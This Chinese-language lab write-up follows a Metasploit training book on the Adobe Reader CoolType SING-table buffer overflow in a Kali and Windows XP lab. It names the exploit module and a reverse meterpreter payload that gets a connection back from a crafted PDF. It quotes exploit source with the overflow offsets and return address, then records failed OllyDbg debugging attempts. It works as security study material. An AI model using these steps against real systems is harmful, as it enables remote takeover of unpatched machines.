实验环境:Kali 2.0+Windows XP sp3+Adobe Reader 9.0.0
类别:缓冲区溢出
描述:这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出。
参考资料:《Metasploit魔鬼训练营》p286-p298
Adobe漏洞渗透过程:
kali上使用windows/fileformat/adobe_cooltype_sing,载荷为windows/meterpreter/reverse_http,生成恶意构造的pdf文件,并打开exploit/multi/handler进行监听。
在windows xp sp3靶机上打开该pdf,成功执行shellcode,回连到kali!
Adobe漏洞机理分析:
先通过源代码了解下此漏洞的大概机理。
100 # uniqueName 101 # "The uniqueName string must be a string of at most 27 7-bit ASCII characters" 102 #sing << "A" * (0x254 - sing.length)103 sing << rand_text(0x254 - sing.length) 104105 # 0xffffffff gets written here @ 0x7001400 (in BIB.dll) 106 sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack(‘V‘) 107 108 # This becomes our new EIP (puts esp to stack buffer) 109 ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret 110 sing[0x208, 4] = [ret].pack(‘V‘)
构造了一个长度为0x254的字符串,其中偏移为0x208处的4字节将成为溢出之后的新eip。
接下来要寻找程序的溢出点。为了方便,修改下代码。
去除字符串随机性,将
sing << rand_text(0x254 - sing.length)
改为
sing << "A" * (0x254 - sing.length)
然后将ret=0x4a80cb38改为ret=0x42424242(字符串“BBBB”)。
重新生成样本文件debug.pdf,并在靶机windows xp中打开。
然而我并没有得到书上的结果,跳出了两个OllyIce,后一个关于AcroRd32.exe的已经终止
前一个最后也没有因为访问地址0x42424242而异常,而是另一个地址。
暂且解决不了这个问题,我决定“作弊"!
既然以上这步是为了找到溢出点,所以我直接看书找到相应的异常处并下断点。
然后,我再次调试打开debug.pdf,还是如上。
看来是在溢出点之前就有其他的异常,只能先用OllyDbg打开之前成功攻击的构造文件FormalAttack.pdf来调试。
还是不行,虽然直接FormalAttack.pdf可以成功执行shellcode回连,但是通过OllyDbg打开FormalAttack.pdf就会产生异常,在中断处往后执行几步奇怪的指令后就终止了,根本没经过我们下断点的CoolType模块。